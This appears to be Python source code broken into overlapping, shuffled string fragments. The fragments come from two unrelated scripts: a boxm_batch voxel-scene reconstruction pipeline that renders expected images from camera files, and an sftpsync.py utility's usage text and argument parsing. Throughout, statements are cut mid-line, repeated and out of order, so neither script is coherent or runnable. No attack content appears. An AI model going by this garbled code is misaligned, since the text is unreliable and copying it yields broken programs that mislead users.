boxm_batch.set_input_from_db(1,cam); boxm_batch.set_input_from_db(2,scene); boxm_batch.set_input_unsigned(3,0); boxm_batch.set_input_bool(4, 0); boxm_batch.run_process();", "57, 133, 54, 32, 127, 171, 76, 79, 168, 122, 143, 90, 149,", "131, 109, 124, 141, 105, 21, 129, 112, 137, 87, 26, 128, 180,", "45, 98, 88, 85, 156, 39, 12, 103, 2, 55, 61, 148, 80,", "image_id_fname = model_imgs_dir + \"/schedule.txt\"; expected_fname_no_dir = \"/expected_%05d.tiff\" print(\"Creating a Scene\"); boxm_batch.init_process(\"boxmCreateSceneProcess\"); boxm_batch.set_input_string(0,", "0) or (x == 180)): temp_dir = around_imgs_dir % x; os.mkdir( temp_dir +", "46, 60, 117, 93, 126, 67, 16, 166, 13, 107, 164, 38, 78,", "+ \"/expected_%05d.tiff\"; image_id_fname = model_imgs_dir + \"/schedule.txt\"; expected_fname_no_dir = \"/expected_%05d.tiff\" print(\"Creating a Scene\");", "125, 155, 42, 10, 75, 173, 34, 145, 135, 163, 6, 11, 104,", "179, 82, 106, 114, 5, 110, 169, 97, 44, 25, 118, 95, 7,", "151, 165, 147, 71, 131, 109, 124, 141, 105, 21, 129, 112, 137,", "= dbvalue(id,type); print(\"saving expected image\"); boxm_batch.init_process(\"vilSaveImageViewProcess\"); boxm_batch.set_input_from_db(0,expected); boxm_batch.set_input_string(1,expected_fname % i); boxm_batch.run_process(); if(((x+1) %", "boxm_batch.set_input_from_db(1,vcam); boxm_batch.set_input_unsigned(2,1280); boxm_batch.set_input_unsigned(3,720); boxm_batch.set_input_bool(4,0); boxm_batch.run_process(); (id,type) = boxm_batch.commit_output(0); expected = dbvalue(id,type); (id,type) =", "nframes =181; import random; schedule = [i for i in range(0,nframes)]; random.shuffle(schedule); #schedule", "= boxm_batch.run_process(); (id,type) = boxm_batch.commit_output(0); cam = dbvalue(id,type); print(\"Loading Image\"); boxm_batch.init_process(\"vilLoadImageViewProcess\"); boxm_batch.set_input_string(0,image_fnames %", "135, 163, 6, 11, 104, 3, 121, 52, 102, 46, 60, 117, 93,", "fd.close() print schedule; for x in range(0,len(schedule),1): #for x in range(63,64,1): i =", "= boxm_batch.commit_output(0); image = dbvalue(id,type); if(status): print(\"Updating Scene\"); boxm_batch.init_process(\"boxmUpdateRTProcess\"); boxm_batch.set_input_from_db(0,image); boxm_batch.set_input_from_db(1,cam); boxm_batch.set_input_from_db(2,scene); boxm_batch.set_input_unsigned(3,0);", "92, 8, 73, 172, 111, 116, 177, 29, 178, 49, 14, 138, 1,", "58, 51, 175, 125, 155, 42, 10, 75, 173, 34, 145, 135, 163,", "81, 36, 167, 72, 45, 98, 88, 85, 156, 39, 12, 103, 2,", "<reponame>mirestrepo/voxels-at-lems import boxm_batch; import os; import time; boxm_batch.register_processes(); boxm_batch.register_datatypes(); #time.sleep(10); class dbvalue: def", "Camera\"); boxm_batch.init_process(\"vpglLoadPerspectiveCameraProcess\"); boxm_batch.set_input_string(0,camera_fnames % i); status = boxm_batch.run_process(); (id,type) = boxm_batch.commit_output(0); cam =", "= expected_fname_no_dir % j print(\"saving expected image\"); boxm_batch.init_process(\"vilSaveImageViewProcess\"); boxm_batch.set_input_from_db(0,expected); boxm_batch.set_input_string(1, temp_dir + image_name);", "165, 147, 71, 131, 109, 124, 141, 105, 21, 129, 112, 137, 87,", "\"/sample_scene.raw\"); #boxm_batch.set_input_unsigned(2,0); #boxm_batch.set_input_unsigned(3,0); #boxm_batch.run_process(); print(\"Save Scene\"); boxm_batch.init_process(\"boxmSaveOccupancyRawProcess\"); boxm_batch.set_input_from_db(0,scene); boxm_batch.set_input_string(1,model_dir + \"/all_sample_scene.raw\"); boxm_batch.set_input_unsigned(2,0); boxm_batch.set_input_unsigned(3,1);", "49, 14, 138, 1, 115, 94, 22, 20, 66, 35, 17, 160, 154,", "boxm_batch.commit_output(0); vcam = dbvalue(id,type); nframes =181; import random; schedule = [i for i", "boxm_batch.set_input_from_db(0,expected); boxm_batch.set_input_string(1,expected_fname % i); boxm_batch.run_process(); if(((x+1) % 50 == 0) or (x ==", "image_name = expected_fname_no_dir % j print(\"saving expected image\"); boxm_batch.init_process(\"vilSaveImageViewProcess\"); boxm_batch.set_input_from_db(0,expected); boxm_batch.set_input_string(1, temp_dir +", "= boxm_batch.commit_output(0); expected = dbvalue(id,type); (id,type) = boxm_batch.commit_output(1); mask = dbvalue(id,type); print(\"saving expected", "i = schedule[x]; is_good_frame = 1; for b in range(0, len(bad_frames),1): if (bad_frames[b]==", "if not os.path.isdir( model_imgs_dir + \"/\"): os.mkdir( model_imgs_dir + \"/\"); image_fnames = \"/Volumes/vision/video/dec/Downtown/video/frame_%05d.png\";", "83, 64, 140, 81, 36, 167, 72, 45, 98, 88, 85, 156, 39,", "boxm_batch.commit_output(0); expected = dbvalue(id,type); (id,type) = boxm_batch.commit_output(1); mask = dbvalue(id,type); print(\"saving expected image\");", "84, 151, 165, 147, 71, 131, 109, 124, 141, 105, 21, 129, 112,", "index, type): self.id = index # unsigned integer self.type = type # string", "boxm_batch.run_process(); (id,type) = boxm_batch.commit_output(0); cam = dbvalue(id,type); print(\"Loading Image\"); boxm_batch.init_process(\"vilLoadImageViewProcess\"); boxm_batch.set_input_string(0,image_fnames % i);", "boxm_batch.init_process(\"vilSaveImageViewProcess\"); boxm_batch.set_input_from_db(0,expected); boxm_batch.set_input_string(1, temp_dir + image_name); boxm_batch.run_process(); #print(\"Save Scene\"); #boxm_batch.init_process(\"boxmSaveOccupancyRawProcess\"); #boxm_batch.set_input_from_db(0,scene); #boxm_batch.set_input_string(1,model_dir +", "(id,type) = boxm_batch.commit_output(0); image = dbvalue(id,type); if(status): print(\"Updating Scene\"); boxm_batch.init_process(\"boxmUpdateRTProcess\"); boxm_batch.set_input_from_db(0,image); boxm_batch.set_input_from_db(1,cam); boxm_batch.set_input_from_db(2,scene);", "boxm_batch.set_input_bool(4,0); boxm_batch.run_process(); (id,type) = boxm_batch.commit_output(0); expected = dbvalue(id,type); (id,type) = boxm_batch.commit_output(1); mask =", "[176, 158, 146, 174, 9, 96, 89, 40, 152, 41, 58, 51, 175,", "model_imgs_dir + \"/\"); image_fnames = \"/Volumes/vision/video/dec/Downtown/video/frame_%05d.png\"; camera_fnames = \"/Volumes/vision/video/dec/Downtown/cameras_KRT/camera_%05d.txt\"; expected_fname = model_imgs_dir +", "110, 169, 97, 44, 25, 118, 95, 7, 19, 162, 119, 134, 159,", "dbvalue(id,type); if(status): print(\"Updating Scene\"); boxm_batch.init_process(\"boxmUpdateRTProcess\"); boxm_batch.set_input_from_db(0,image); boxm_batch.set_input_from_db(1,cam); boxm_batch.set_input_from_db(2,scene); boxm_batch.set_input_unsigned(3,0); boxm_batch.set_input_bool(4, 0); boxm_batch.run_process(); #refine", "156, 39, 12, 103, 2, 55, 61, 148, 80, 157, 136, 70, 23,", "boxm_batch.init_process(\"boxmRefineSceneProcess\"); boxm_batch.set_input_from_db(0,scene); boxm_batch.set_input_float(1,0.2); boxm_batch.set_input_bool(2,1); boxm_batch.run_process(); # Generate Expected Image print(\"Generating Expected Image\"); boxm_batch.init_process(\"boxmRenderExpectedRTProcess\");", "boxm_batch.set_input_from_db(1,cam); boxm_batch.set_input_unsigned(2,1280); boxm_batch.set_input_unsigned(3,720); boxm_batch.set_input_bool(4,0); boxm_batch.run_process(); (id,type) = boxm_batch.commit_output(0); expected = dbvalue(id,type); (id,type) =", "= \"/Users/isa/Experiments/DowntownBOXM_12_12_4\"; model_imgs_dir = \"/Users/isa/Experiments/DowntownBOXM_12_12_4/imgs\" around_imgs_dir = \"/Users/isa/Experiments/DowntownBOXM_12_12_4/imgs360_%03d\" if not os.path.isdir( model_imgs_dir +", "import time; boxm_batch.register_processes(); boxm_batch.register_datatypes(); #time.sleep(10); class dbvalue: def __init__(self, index, type): self.id =", "boxm_batch.run_process(); #print(\"Save Scene\"); #boxm_batch.init_process(\"boxmSaveOccupancyRawProcess\"); #boxm_batch.set_input_from_db(0,scene); #boxm_batch.set_input_string(1,model_dir + \"/sample_scene.raw\"); #boxm_batch.set_input_unsigned(2,0); #boxm_batch.set_input_unsigned(3,0); #boxm_batch.run_process(); print(\"Save Scene\");", "74, 4, 30]; bad_frames = [34, 49, 63, 76, 113, 118, 127, 148]", "% j); status = boxm_batch.run_process(); (id,type) = boxm_batch.commit_output(0); cam = dbvalue(id,type); # Generate", "(\"Skiping frame: \"); print(i); break; if(is_good_frame): print(\"Loading Camera\"); boxm_batch.init_process(\"vpglLoadPerspectiveCameraProcess\"); boxm_batch.set_input_string(0,camera_fnames % i); status", "1; for b in range(0, len(bad_frames),1): if (bad_frames[b]== i): is_good_frame = 0; print", "expected_fname_no_dir = \"/expected_%05d.tiff\" print(\"Creating a Scene\"); boxm_batch.init_process(\"boxmCreateSceneProcess\"); boxm_batch.set_input_string(0, model_dir +\"/downtown_scene.xml\"); boxm_batch.run_process(); (scene_id, scene_type)", "113, 118, 127, 148] print \"schedule is \", schedule; # write schedule file", "41, 58, 51, 175, 125, 155, 42, 10, 75, 173, 34, 145, 135,", "len(bad_frames),1): if (bad_frames[b]== i): is_good_frame = 0; print (\"Skiping frame: \"); print(i); break;", "is \", schedule; # write schedule file fd = open(image_id_fname,\"w\"); print >>fd, len(schedule);", "170, 37, 101, 179, 82, 106, 114, 5, 110, 169, 97, 44, 25,", "10, 75, 173, 34, 145, 135, 163, 6, 11, 104, 3, 121, 52,", "write schedule file fd = open(image_id_fname,\"w\"); print >>fd, len(schedule); print >>fd, schedule; fd.close()", "boxm_batch.set_input_string(1, temp_dir + image_name); boxm_batch.run_process(); #print(\"Save Scene\"); #boxm_batch.init_process(\"boxmSaveOccupancyRawProcess\"); #boxm_batch.set_input_from_db(0,scene); #boxm_batch.set_input_string(1,model_dir + \"/sample_scene.raw\"); #boxm_batch.set_input_unsigned(2,0);", "85, 156, 39, 12, 103, 2, 55, 61, 148, 80, 157, 136, 70,", "+\"/downtown_scene.xml\"); boxm_batch.run_process(); (scene_id, scene_type) = boxm_batch.commit_output(0); scene = dbvalue(scene_id, scene_type); print(\"Loading Virtual Camera\");", "36, 167, 72, 45, 98, 88, 85, 156, 39, 12, 103, 2, 55,", "122, 143, 90, 149, 62, 108, 170, 37, 101, 179, 82, 106, 114,", "159, 15, 59, 63, 123, 130, 65, 69, 86, 139, 0, 53, 153,", "in range(0,nframes,8): print(\"Loading Camera\"); boxm_batch.init_process(\"vpglLoadPerspectiveCameraProcess\"); boxm_batch.set_input_string(0,camera_fnames % j); status = boxm_batch.run_process(); (id,type) =", "152, 41, 58, 51, 175, 125, 155, 42, 10, 75, 173, 34, 145,", "boxm_batch.set_input_string(0,camera_fnames % j); status = boxm_batch.run_process(); (id,type) = boxm_batch.commit_output(0); cam = dbvalue(id,type); #", "boxm_batch.commit_output(0); cam = dbvalue(id,type); # Generate Expected Image print(\"Generating Expected Image\"); boxm_batch.init_process(\"boxmRenderExpectedRTProcess\"); boxm_batch.set_input_from_db(0,scene);", "dbvalue(id,type); image_name = expected_fname_no_dir % j print(\"saving expected image\"); boxm_batch.init_process(\"vilSaveImageViewProcess\"); boxm_batch.set_input_from_db(0,expected); boxm_batch.set_input_string(1, temp_dir", "47, 48, 77, 150, 50, 91, 161, 144, 83, 64, 140, 81, 36,", "95, 7, 19, 162, 119, 134, 159, 15, 59, 63, 123, 130, 65,", "= dbvalue(scene_id, scene_type); print(\"Loading Virtual Camera\"); boxm_batch.init_process(\"vpglLoadPerspectiveCameraProcess\"); boxm_batch.set_input_string(0,camera_fnames % 40); boxm_batch.run_process(); (id,type) =", "print (\"Skiping frame: \"); print(i); break; if(is_good_frame): print(\"Loading Camera\"); boxm_batch.init_process(\"vpglLoadPerspectiveCameraProcess\"); boxm_batch.set_input_string(0,camera_fnames % i);", "== 180)): temp_dir = around_imgs_dir % x; os.mkdir( temp_dir + \"/\"); for j", "Expected Image print(\"Generating Expected Image\"); boxm_batch.init_process(\"boxmRenderExpectedRTProcess\"); boxm_batch.set_input_from_db(0,scene); boxm_batch.set_input_from_db(1,cam); boxm_batch.set_input_unsigned(2,1280); boxm_batch.set_input_unsigned(3,720); boxm_batch.set_input_bool(4,0); boxm_batch.run_process(); (id,type)", "boxm_batch.run_process(); #refine only for first 140 images if(x < 140 ): print(\"Refine Scene\");", "= \"/Users/isa/Experiments/DowntownBOXM_12_12_4/imgs\" around_imgs_dir = \"/Users/isa/Experiments/DowntownBOXM_12_12_4/imgs360_%03d\" if not os.path.isdir( model_imgs_dir + \"/\"): os.mkdir( model_imgs_dir", "79, 168, 122, 143, 90, 149, 62, 108, 170, 37, 101, 179, 82,", "Image\"); boxm_batch.init_process(\"boxmRenderExpectedRTProcess\"); boxm_batch.set_input_from_db(0,scene); boxm_batch.set_input_from_db(1,vcam); boxm_batch.set_input_unsigned(2,1280); boxm_batch.set_input_unsigned(3,720); boxm_batch.set_input_bool(4,0); boxm_batch.run_process(); (id,type) = boxm_batch.commit_output(0); expected =", "66, 35, 17, 160, 154, 132, 99, 31, 18, 28, 57, 133, 54,", "Scene\"); #boxm_batch.init_process(\"boxmSaveOccupancyRawProcess\"); #boxm_batch.set_input_from_db(0,scene); #boxm_batch.set_input_string(1,model_dir + \"/sample_scene.raw\"); #boxm_batch.set_input_unsigned(2,0); #boxm_batch.set_input_unsigned(3,0); #boxm_batch.run_process(); print(\"Save Scene\"); boxm_batch.init_process(\"boxmSaveOccupancyRawProcess\"); boxm_batch.set_input_from_db(0,scene);", "94, 22, 20, 66, 35, 17, 160, 154, 132, 99, 31, 18, 28,", "print(\"Loading Camera\"); boxm_batch.init_process(\"vpglLoadPerspectiveCameraProcess\"); boxm_batch.set_input_string(0,camera_fnames % i); status = boxm_batch.run_process(); (id,type) = boxm_batch.commit_output(0); cam", "111, 116, 177, 29, 178, 49, 14, 138, 1, 115, 94, 22, 20,", "#time.sleep(10); class dbvalue: def __init__(self, index, type): self.id = index # unsigned integer", "106, 114, 5, 110, 169, 97, 44, 25, 118, 95, 7, 19, 162,", "random; schedule = [i for i in range(0,nframes)]; random.shuffle(schedule); #schedule = [176, 158,", "\"/Users/isa/Experiments/DowntownBOXM_12_12_4\"; model_imgs_dir = \"/Users/isa/Experiments/DowntownBOXM_12_12_4/imgs\" around_imgs_dir = \"/Users/isa/Experiments/DowntownBOXM_12_12_4/imgs360_%03d\" if not os.path.isdir( model_imgs_dir + \"/\"):", "is_good_frame = 1; for b in range(0, len(bad_frames),1): if (bad_frames[b]== i): is_good_frame =", "(id,type) = boxm_batch.commit_output(1); mask = dbvalue(id,type); print(\"saving expected image\"); boxm_batch.init_process(\"vilSaveImageViewProcess\"); boxm_batch.set_input_from_db(0,expected); boxm_batch.set_input_string(1,expected_fname %", "= index # unsigned integer self.type = type # string # Capitol model_dir", "j print(\"saving expected image\"); boxm_batch.init_process(\"vilSaveImageViewProcess\"); boxm_batch.set_input_from_db(0,expected); boxm_batch.set_input_string(1, temp_dir + image_name); boxm_batch.run_process(); #print(\"Save Scene\");", "boxm_batch.commit_output(1); mask = dbvalue(id,type); image_name = expected_fname_no_dir % j print(\"saving expected image\"); boxm_batch.init_process(\"vilSaveImageViewProcess\");", "print(\"saving expected image\"); boxm_batch.init_process(\"vilSaveImageViewProcess\"); boxm_batch.set_input_from_db(0,expected); boxm_batch.set_input_string(1, temp_dir + image_name); boxm_batch.run_process(); #print(\"Save Scene\"); #boxm_batch.init_process(\"boxmSaveOccupancyRawProcess\");", "expected_fname = model_imgs_dir + \"/expected_%05d.tiff\"; image_id_fname = model_imgs_dir + \"/schedule.txt\"; expected_fname_no_dir = \"/expected_%05d.tiff\"", "78, 33, 56, 100, 24, 43, 120, 27, 113, 84, 151, 165, 147,", "boxm_batch.init_process(\"vpglLoadPerspectiveCameraProcess\"); boxm_batch.set_input_string(0,camera_fnames % 40); boxm_batch.run_process(); (id,type) = boxm_batch.commit_output(0); vcam = dbvalue(id,type); nframes =181;", "boxm_batch.run_process(); # Generate Expected Image print(\"Generating Expected Image\"); boxm_batch.init_process(\"boxmRenderExpectedRTProcess\"); boxm_batch.set_input_from_db(0,scene); boxm_batch.set_input_from_db(1,vcam); boxm_batch.set_input_unsigned(2,1280); boxm_batch.set_input_unsigned(3,720);", "2, 55, 61, 148, 80, 157, 136, 70, 23, 92, 8, 73, 172,", "174, 9, 96, 89, 40, 152, 41, 58, 51, 175, 125, 155, 42,", "97, 44, 25, 118, 95, 7, 19, 162, 119, 134, 159, 15, 59,", "(id,type) = boxm_batch.commit_output(0); expected = dbvalue(id,type); (id,type) = boxm_batch.commit_output(1); mask = dbvalue(id,type); print(\"saving", "expected_fname_no_dir % j print(\"saving expected image\"); boxm_batch.init_process(\"vilSaveImageViewProcess\"); boxm_batch.set_input_from_db(0,expected); boxm_batch.set_input_string(1, temp_dir + image_name); boxm_batch.run_process();", "boxm_batch.run_process(); (scene_id, scene_type) = boxm_batch.commit_output(0); scene = dbvalue(scene_id, scene_type); print(\"Loading Virtual Camera\"); boxm_batch.init_process(\"vpglLoadPerspectiveCameraProcess\");", "140, 81, 36, 167, 72, 45, 98, 88, 85, 156, 39, 12, 103,", "boxm_batch.set_input_from_db(0,scene); boxm_batch.set_input_from_db(1,cam); boxm_batch.set_input_unsigned(2,1280); boxm_batch.set_input_unsigned(3,720); boxm_batch.set_input_bool(4,0); boxm_batch.run_process(); (id,type) = boxm_batch.commit_output(0); expected = dbvalue(id,type); (id,type)", "boxm_batch.run_process(); (id,type) = boxm_batch.commit_output(0); image = dbvalue(id,type); if(status): print(\"Updating Scene\"); boxm_batch.init_process(\"boxmUpdateRTProcess\"); boxm_batch.set_input_from_db(0,image); boxm_batch.set_input_from_db(1,cam);", "25, 118, 95, 7, 19, 162, 119, 134, 159, 15, 59, 63, 123,", "dbvalue(id,type); (id,type) = boxm_batch.commit_output(1); mask = dbvalue(id,type); image_name = expected_fname_no_dir % j print(\"saving", "for i in range(0,nframes)]; random.shuffle(schedule); #schedule = [176, 158, 146, 174, 9, 96,", "40); boxm_batch.run_process(); (id,type) = boxm_batch.commit_output(0); vcam = dbvalue(id,type); nframes =181; import random; schedule", "171, 76, 79, 168, 122, 143, 90, 149, 62, 108, 170, 37, 101,", "168, 122, 143, 90, 149, 62, 108, 170, 37, 101, 179, 82, 106,", "+ \"/sample_scene.raw\"); #boxm_batch.set_input_unsigned(2,0); #boxm_batch.set_input_unsigned(3,0); #boxm_batch.run_process(); print(\"Save Scene\"); boxm_batch.init_process(\"boxmSaveOccupancyRawProcess\"); boxm_batch.set_input_from_db(0,scene); boxm_batch.set_input_string(1,model_dir + \"/all_sample_scene.raw\"); boxm_batch.set_input_unsigned(2,0);", "#for x in range(63,64,1): i = schedule[x]; is_good_frame = 1; for b in", "self.id = index # unsigned integer self.type = type # string # Capitol", "105, 21, 129, 112, 137, 87, 26, 128, 180, 68, 142, 47, 48,", "133, 54, 32, 127, 171, 76, 79, 168, 122, 143, 90, 149, 62,", "% i); status = status & boxm_batch.run_process(); (id,type) = boxm_batch.commit_output(0); image = dbvalue(id,type);", "35, 17, 160, 154, 132, 99, 31, 18, 28, 57, 133, 54, 32,", "= dbvalue(id,type); print(\"Loading Image\"); boxm_batch.init_process(\"vilLoadImageViewProcess\"); boxm_batch.set_input_string(0,image_fnames % i); status = status & boxm_batch.run_process();", "boxm_batch.set_input_from_db(1,cam); boxm_batch.set_input_from_db(2,scene); boxm_batch.set_input_unsigned(3,0); boxm_batch.set_input_bool(4, 0); boxm_batch.run_process(); #refine only for first 140 images if(x", "% x; os.mkdir( temp_dir + \"/\"); for j in range(0,nframes,8): print(\"Loading Camera\"); boxm_batch.init_process(\"vpglLoadPerspectiveCameraProcess\");", "Expected Image\"); boxm_batch.init_process(\"boxmRenderExpectedRTProcess\"); boxm_batch.set_input_from_db(0,scene); boxm_batch.set_input_from_db(1,vcam); boxm_batch.set_input_unsigned(2,1280); boxm_batch.set_input_unsigned(3,720); boxm_batch.set_input_bool(4,0); boxm_batch.run_process(); (id,type) = boxm_batch.commit_output(0); expected", "(x == 180)): temp_dir = around_imgs_dir % x; os.mkdir( temp_dir + \"/\"); for", "141, 105, 21, 129, 112, 137, 87, 26, 128, 180, 68, 142, 47,", "52, 102, 46, 60, 117, 93, 126, 67, 16, 166, 13, 107, 164,", "96, 89, 40, 152, 41, 58, 51, 175, 125, 155, 42, 10, 75,", "64, 140, 81, 36, 167, 72, 45, 98, 88, 85, 156, 39, 12," ]
[ "'Push:', ' sftpsync.py [OPTION]... /path/to/local/copy [s]ftp://[user[:password]@]host[:port][/path]', '', 'Defaults:', ' user: anonymous', ' password:", "_PORT: r'|\\d{1,4}|6553[0-5]|655[0-2]\\d|65[0-4]\\d{2}|6[0-4]\\d{3}|[0-5]\\d{4}', _PATH: r'/.*', _DRIVE: r'[a-zA-Z]{1}:', _FILEPATH: r'.*?', } def _group(name, patterns=_PATTERNS): return", "ValueError(error_message) return dict((key, value) for (key, value) in match.groupdict().items() if value) def _validate_and_parse_socks_proxy_version(socks_version,", "'--proxy-version SOCKS4|SOCKS5', ' Version of the SOCKS protocol to use. Default is SOCKS5.',", "return re.search(_SFTP_PATTERN, sftp) def _is_path(path): return re.search(_PATH_PATTERN, path) def _validate_is_readable_path(path): if not os.path.exists(path):", "% option) if key not in white_list: raise ValueError('Unsupported SSH option: \"%s\". Only", "% path) if not os.path.exists(path): raise ValueError('Invalid path: \"%s\". Provided path does NOT", "if not os.path.exists(path): raise ValueError('Invalid path. \"%s\" does NOT exist.' % path) if", "raise ValueError('Invalid path: \"%s\". Provided path does NOT exist. Please provide a valid", "protocol to use. Default is SOCKS5.', '-q/--quiet: Quiet mode: disables the progress meter", "key) for public key authentication is read.', '-o ssh_option', ' Can be used", "'~/.ssh/config', 'ssh_options': {}, } opts, args = getopt(argv, 'fF:hi:o:pqrv', ['force', 'help', 'identity=', 'preserve',", "raise ValueError('Invalid path. \"%s\" exists but user \"%s\" does NOT have read access.'", "config['source'] = _validate_source(source) config['destination'] = _validate_destination(destination) return config except GetoptError as e: usage(str(e))", "= 'filepath' _PATTERNS = { _USER: r'.+?', _PASS: r'.+?', _HOST: r'[\\w\\-\\.]{3,}?', _PORT: r'|\\d{1,4}|6553[0-5]|655[0-2]\\d|65[0-4]\\d{2}|6[0-4]\\d{3}|[0-5]\\d{4}',", "_group(_HOST), _group(_PORT), _group(_PATH)) _PATH_PATTERN = '^%s?%s$' % (_group(_DRIVE), _group(_FILEPATH)) def _validate_and_parse_socks_proxy(proxy): return _validate_and_parse_connection_string(proxy,", "configuration.' % path) if not os.path.exists(path): raise ValueError('Invalid path: \"%s\". Provided path does", "against the provided pattern into a dictionary, if there is a match, or", "re import socks from getpass import getuser ERROR_ILLEGAL_ARGUMENTS = 2 def usage(error_message=None): if", "their progress. This is helpful in debugging connection, authentication, and configuration problems.', ''", "('-p', '--preserve'): config['preserve'] = True if opt in ('-q', '--quiet'): config['quiet'] = True", "NOT exist. Please provide a valid path to your SSH configuration.' % path)", "folder: %s.' % source) def _validate_destination(destination): if _is_sftp(destination): return _validate_and_parse_sftp(destination) if _is_path(destination): return", "'preserve': False, 'quiet': False, 'recursive': False, 'verbose': False, 'private_key': None, 'proxy': None, 'proxy_version':", "= v if config['verbose'] and config['quiet']: raise ValueError('Please provide either -q/--quiet OR -v/--verbose,", "the format used in ssh_config(5). This is useful for specifying options for which", "and their possible values, see ssh_config(5).', ' ProxyCommand', '-p/--preserve: Preserves modification times, access", "args = getopt(argv, 'fF:hi:o:pqrv', ['force', 'help', 'identity=', 'preserve', 'proxy=', 'proxy-version=', 'quiet', 'recursive', 'verbose'])", "return _validate_and_parse_connection_string(sftp, _SFTP_PATTERN, 'Invalid SFTP connection details: \"%s\".' % sftp) def _validate_and_parse_connection_string(connection_string, pattern,", "option: \"%s\". Only the following SSH options are currently supported: %s.' % (key,", "_validate_and_parse_sftp(source) if _is_path(source): return _validate_is_readable_path(source) raise ValueError('Invalid source. Please provide either SFTP connection", "sys.stdout.write(linesep.join([ 'Usage:', ' sftpsync.py [OPTION]... SOURCE DESTINATION', 'Pull:', ' sftpsync.py [OPTION]... [s]ftp://[user[:password]@]host[:port][/path] /path/to/local/copy',", "ValueError('Invalid SSH option: \"%s\".' % option) key, value = key_value if not key", "e: usage(str(e)) exit(ERROR_ILLEGAL_ARGUMENTS) except ValueError as e: usage(str(e)) exit(ERROR_ILLEGAL_ARGUMENTS) def _validate_private_key_path(path): if not", "/path/to/local/copy', 'Push:', ' sftpsync.py [OPTION]... /path/to/local/copy [s]ftp://[user[:password]@]host[:port][/path]', '', 'Defaults:', ' user: anonymous', '", "existing and writable folder: %s.' % destination) def _is_sftp(sftp): return re.search(_SFTP_PATTERN, sftp) def", "proxy version: \"%s\". Please choose one of the following values: { %s }.'", "options listed below, and their possible values, see ssh_config(5).', ' ProxyCommand', '-p/--preserve: Preserves", "config except GetoptError as e: usage(str(e)) exit(ERROR_ILLEGAL_ARGUMENTS) except ValueError as e: usage(str(e)) exit(ERROR_ILLEGAL_ARGUMENTS)", "key.' % path) return path def _validate_ssh_config_path(path): if not path: raise ValueError('Invalid path:", "error_message + linesep) sys.stdout.write(linesep.join([ 'Usage:', ' sftpsync.py [OPTION]... SOURCE DESTINATION', 'Pull:', ' sftpsync.py", "_validate_and_parse_socks_proxy(value) if opt == '--proxy-version': config['proxy_version'] = _validate_and_parse_socks_proxy_version(value) if opt == '-F': config['ssh_config']", "% (name, patterns[name]) _PROXY_PATTERN = '^(%s(:%s)?@)?%s(:%s)?$' % (_group(_USER), _group(_PASS), _group(_HOST), _group(_PORT)) _SFTP_PATTERN =", "raise ValueError('Invalid destination. Please provide either SFTP connection details or a path to", "per-user configuration file is ~/.ssh/config.', '-h/--help Prints this!', '-i/--identity identity_file', ' Selects the", "os.path.exists(path): raise ValueError('Invalid path. \"%s\" does NOT exist.' % path) if not os.access(os.path.abspath(path),", "the following values: { %s }.' % (socks_version, ', '.join(white_list))) return eval('socks.%s' %", "_validate_destination(destination) return config except GetoptError as e: usage(str(e)) exit(ERROR_ILLEGAL_ARGUMENTS) except ValueError as e:", "line, the system-wide configuration file (/etc/ssh/ssh_config) will be ignored.', ' The default for", "'preserve', 'proxy=', 'proxy-version=', 'quiet', 'recursive', 'verbose']) for opt, value in opts: if opt", "1) if '=' in option else option.split(' ', 1) if not key_value or", "used to pass options to ssh in the format used in ssh_config(5). This", "= key_value if not key or not value: raise ValueError('Invalid SSH option: \"%s\".'", "not os.path.exists(path): raise ValueError('Invalid path. \"%s\" does NOT exist.' % path) if not", "'--verbose'): config['verbose'] = True if opt in ('-i', '--identity'): config['private_key'] = _validate_private_key_path(value) if", "ValueError('Invalid path. \"%s\" does NOT exist.' % path) if not os.access(os.path.abspath(path), os.R_OK): raise", "options for which there is no separate sftpsync command-line flag.', ' For full", "return dict((key, value) for (key, value) in match.groupdict().items() if value) def _validate_and_parse_socks_proxy_version(socks_version, white_list=['SOCKS4',", "%s.' % (key, ', '.join(white_list))) return key, value _USER = 'user' _PASS =", "not value: raise ValueError('Invalid SSH option: \"%s\".' % option) if key not in", "usage() exit() if opt in ('-f', '--force'): config['force'] = True if opt in", "= 2 def usage(error_message=None): if error_message: sys.stderr.write('ERROR: ' + error_message + linesep) sys.stdout.write(linesep.join([", "or not value: raise ValueError('Invalid SSH option: \"%s\".' % option) if key not", "times, access times, and modes from the original file.', '--proxy [user[:password]@]host[:port]', ' SOCKS", "match. ''' match = re.search(pattern, connection_string) if not match: raise ValueError(error_message) return dict((key,", "disables the progress meter as well as warning and diagnostic messages from ssh(1).',", "opt == '-F': config['ssh_config'] = _validate_ssh_config_path(value) if opt == '-o': k, v =", "ValueError('Invalid path. \"%s\" exists but user \"%s\" does NOT have read access.' %", "'quiet': False, 'recursive': False, 'verbose': False, 'private_key': None, 'proxy': None, 'proxy_version': socks.SOCKS5, 'ssh_config'", "opts: if opt in ('-h', '--help'): usage() exit() if opt in ('-f', '--force'):", "does NOT exist. Please provide a valid path to your SSH configuration.' %", "anonymous', ' password: <PASSWORD>', ' port: 22', ' path: /', '', 'Options:', '-f/--force", "path to your private key.' % path) return path def _validate_ssh_config_path(path): if not", "2: raise ValueError('Invalid SSH option: \"%s\".' % option) key, value = key_value if", "= getopt(argv, 'fF:hi:o:pqrv', ['force', 'help', 'identity=', 'preserve', 'proxy=', 'proxy-version=', 'quiet', 'recursive', 'verbose']) for", "'path' _DRIVE = 'drive' _FILEPATH = 'filepath' _PATTERNS = { _USER: r'.+?', _PASS:", "warning and diagnostic messages from ssh(1).', '-r/--recursive: Recursively synchronize entire directories.', '-v/--verbose: Verbose", "match: raise ValueError(error_message) return dict((key, value) for (key, value) in match.groupdict().items() if value)", "identity_file', ' Selects the file from which the identity (private key) for public", "raise ValueError('Invalid path: \"%s\". Please provide a valid path to your SSH configuration.'", "from getpass import getuser ERROR_ILLEGAL_ARGUMENTS = 2 def usage(error_message=None): if error_message: sys.stderr.write('ERROR: '", "(key, ', '.join(white_list))) return key, value _USER = 'user' _PASS = '<PASSWORD>' _HOST", "not key or not value: raise ValueError('Invalid SSH option: \"%s\".' % option) if", "white_list=['SOCKS4', 'SOCKS5']): if socks_version not in white_list: raise ValueError('Invalid SOCKS proxy version: \"%s\".", "if opt in ('-p', '--preserve'): config['preserve'] = True if opt in ('-q', '--quiet'):", "if not key_value or not len(key_value) == 2: raise ValueError('Invalid SSH option: \"%s\".'", "details: \"%s\".' % sftp) def _validate_and_parse_connection_string(connection_string, pattern, error_message): ''' Parses the provided connection", "sys from sys import argv, exit import os from os import linesep from", "opt in ('-i', '--identity'): config['private_key'] = _validate_private_key_path(value) if opt == '--proxy': config['proxy'] =", "% socks_version) def _validate_source(source): if 